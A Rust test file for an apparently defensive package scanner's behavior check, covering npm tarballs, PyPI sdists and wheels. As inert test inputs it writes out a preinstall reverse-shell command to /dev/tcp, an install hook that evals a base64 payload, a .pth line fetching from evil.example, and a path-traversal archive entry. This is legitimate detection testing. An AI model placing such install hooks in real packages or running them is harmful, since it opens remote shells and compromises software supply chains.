Your browser sucks, JavaScript disabled! Gunnar's console needs JavaScript and WebAssembly. Git over SSH on port 2222 does not.

nordisk/heimdall

guests/static-scan/tests/behavior.rs

// SPDX-License-Identifier: AGPL-3.0-only
//! The behavior check on real package layouts: npm droppers, PyPI droppers,
//! wheels and their .pth hooks, and every way it must say unknown. Heimdall is
//! a defensive sandbox; the droppers are inert text.

mod common;
use common::*;

use heimdall_scan::report::unknown;
use heimdall_scan::{Check, Severity, Verdict};

fn behavior(artifact: &[u8], purl: &str) -> heimdall_scan::CheckResult {
    check(
        &envelope(artifact, &[]),
        &[("purl", purl), ("checks", "behavior")],
        Check::Behavior,
    )
}

#[test]
fn an_npm_package_whose_postinstall_curls_a_script_is_a_high_dropper_finding() {
    let r = behavior(&npm_tgz(NPM_DROPPER), "pkg:npm/evil-pkg@1.0.0");
    assert_eq!(r.verdict, Verdict::Findings);
    let f = r
        .findings
        .iter()
        .find(|f| f.id == "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL")
        .expect("the dropper finding");
    assert_eq!(f.severity, Severity::High);
    assert_eq!(f.path.as_deref(), Some("package/package.json"));
    assert!(has(&r, "MODGUNN-BEHAVIOR-INSTALL-HOOK"));
}

#[test]
fn an_npm_package_with_only_test_and_build_scripts_is_clean() {
    assert_clean(&behavior(&npm_tgz(NPM_BENIGN), "pkg:npm/leftpad-ok@1.0.0"));
}

#[test]
fn an_npm_preinstall_reverse_shell_is_high() {
    let pj = br#"{"name":"x","scripts":{"preinstall":"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}}"#;
    let r = behavior(&npm_tgz(pj), "pkg:npm/x@1.0.0");
    let f = r
        .findings
        .iter()
        .find(|f| f.id == "MODGUNN-BEHAVIOR-SENSITIVE-API")
        .expect("sensitive API finding");
    assert_eq!(f.severity, Severity::High);
}

#[test]
fn an_npm_install_hook_with_a_base64_payload_is_an_obfuscation_finding() {
    let payload = "Zm9vYmFyYmF6cXV4MTIzNDU2Nzg5MEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFla";
    let pj =
        format!(r#"{{"name":"x","scripts":{{"install":"node -e \"eval(atob('{payload}'))\""}}}}"#);
    let r = behavior(&npm_tgz(pj.as_bytes()), "pkg:npm/x@1.0.0");
    assert!(has(&r, "MODGUNN-BEHAVIOR-SENSITIVE-API"), "{:?}", ids(&r));
}

#[test]
fn a_scoped_npm_package_reads_the_same_way() {
    let r = behavior(&npm_tgz(NPM_DROPPER), "pkg:npm/%40acme/evil-pkg@1.0.0");
    assert!(has(&r, "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"));
}

#[test]
fn a_decoy_package_json_does_not_hide_the_dropper_and_the_duplicate_is_a_finding() {
    let art = tgz(&[
        T::File(b"package/package.json", NPM_DROPPER),
        T::File(b"package/package.json", NPM_BENIGN),
    ]);
    let r = behavior(&art, "pkg:npm/evil-pkg@1.0.0");
    assert!(
        has(&r, "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
        "{:?}",
        ids(&r)
    );
    assert!(
        has(&r, "HEIMDALL-SCAN-ARCHIVE-DUPLICATE-NAME"),
        "{:?}",
        ids(&r)
    );
}

#[test]
fn an_npm_package_json_in_another_top_directory_is_read_too() {
    let art = tgz(&[T::File(b"node/package.json", NPM_DROPPER)]);
    assert!(has(
        &behavior(&art, "pkg:npm/evil-pkg@1.0.0"),
        "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"
    ));
}

#[test]
fn an_npm_tarball_without_a_package_json_is_unknown_not_clean() {
    let art = tgz(&[T::File(b"package/index.js", b"1")]);
    assert_unknown(&behavior(&art, "pkg:npm/x@1.0.0"), unknown::NO_MANIFEST);
}

#[test]
fn a_package_json_that_is_not_json_is_unknown() {
    let art = npm_tgz(b"{ this is not json");
    assert_unknown(&behavior(&art, "pkg:npm/x@1.0.0"), unknown::NO_MANIFEST);
}

#[test]
fn a_package_json_that_is_not_utf8_is_unknown() {
    let art = npm_tgz(b"{\"name\":\"\xff\xfe\"}");
    assert_unknown(&behavior(&art, "pkg:npm/x@1.0.0"), unknown::NO_MANIFEST);
}

#[test]
fn a_package_json_deeper_than_the_top_directory_is_not_the_manifest() {
    let art = tgz(&[T::File(
        b"package/node_modules/dep/package.json",
        NPM_DROPPER,
    )]);
    assert_unknown(&behavior(&art, "pkg:npm/x@1.0.0"), unknown::NO_MANIFEST);
}

#[test]
fn a_pypi_sdist_whose_setup_py_downloads_and_runs_a_payload_is_a_finding() {
    let art = sdist(&[
        (b"okpkg-1.0/setup.py", SETUP_DROPPER),
        (b"okpkg-1.0/PKG-INFO", b"Name: okpkg\n"),
    ]);
    let r = behavior(&art, "pkg:pypi/okpkg@1.0");
    assert_eq!(r.verdict, Verdict::Findings);
    assert!(
        has(&r, "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
        "{:?}",
        ids(&r)
    );
    assert!(r
        .findings
        .iter()
        .any(|f| f.path.as_deref() == Some("okpkg-1.0/setup.py")));
}

#[test]
fn a_pypi_sdist_with_a_plain_setup_py_and_pyproject_is_clean() {
    let art = sdist(&[
        (b"okpkg-1.0/setup.py", SETUP_BENIGN),
        (b"okpkg-1.0/pyproject.toml", PYPROJECT_BENIGN),
    ]);
    assert_clean(&behavior(&art, "pkg:pypi/okpkg@1.0"));
}

#[test]
fn a_declarative_setup_cfg_with_a_homepage_url_is_clean() {
    let cfg = b"[metadata]\nname = okpkg\nurl = https://example.org\n\n[options]\ninstall_requires = urllib3\n";
    let art = sdist(&[(b"okpkg-1.0/setup.cfg", cfg)]);
    // Declarative metadata only: no false positive on the homepage URL.
    assert_clean(&behavior(&art, "pkg:pypi/okpkg@1.0"));
}

#[test]
fn a_pypi_sdist_with_no_build_file_is_unknown() {
    let art = sdist(&[(b"okpkg-1.0/README", b"hi")]);
    assert_unknown(&behavior(&art, "pkg:pypi/okpkg@1.0"), unknown::NO_MANIFEST);
}

#[test]
fn a_zip_sdist_is_read_like_a_tar_sdist() {
    let art = zip(&[Z::file(b"okpkg-1.0/setup.py", SETUP_DROPPER)]);
    assert!(has(
        &behavior(&art, "pkg:pypi/okpkg@1.0"),
        "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"
    ));
}

#[test]
fn a_plain_wheel_is_clean_because_a_wheel_runs_no_install_code() {
    assert_clean(&behavior(&wheel(&[]), "pkg:pypi/okpkg@1.0"));
}

#[test]
fn a_wheel_with_a_pth_file_that_imports_and_fetches_is_a_finding() {
    let pth = b"import os, urllib.request; urllib.request.urlopen('https://evil.example/x')\n";
    let art = wheel(&[Z::file(b"okpkg-startup.pth", pth)]);
    let r = behavior(&art, "pkg:pypi/okpkg@1.0");
    assert!(has(&r, "HEIMDALL-SCAN-WHEEL-PTH-EXEC"), "{:?}", ids(&r));
    assert!(
        has(&r, "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL"),
        "{:?}",
        ids(&r)
    );
}

#[test]
fn a_wheel_pth_file_with_only_paths_is_clean() {
    let art = wheel(&[Z::file(b"okpkg.pth", b"./vendored\n# comment\n")]);
    assert_clean(&behavior(&art, "pkg:pypi/okpkg@1.0"));
}

#[test]
fn a_setup_py_inside_a_wheel_is_not_install_code() {
    let art = wheel(&[Z::file(b"okpkg/setup.py", SETUP_DROPPER)]);
    assert_clean(&behavior(&art, "pkg:pypi/okpkg@1.0"));
}

#[test]
fn a_crate_has_no_behavior_reader_and_is_unknown_not_clean() {
    assert_unknown(
        &behavior(&crate_file(), "pkg:cargo/smallvec@1.6.0"),
        unknown::UNSUPPORTED_ECOSYSTEM,
    );
}

#[test]
fn an_archive_finding_makes_an_unsupported_ecosystem_a_finding_with_the_reason_kept() {
    let art = tgz(&[T::File(b"../evil.rs", b"x")]);
    let r = behavior(&art, "pkg:cargo/x@1.0.0");
    assert_eq!(r.verdict, Verdict::Findings);
    assert_eq!(unknown_code(&r), Some(unknown::UNSUPPORTED_ECOSYSTEM));
}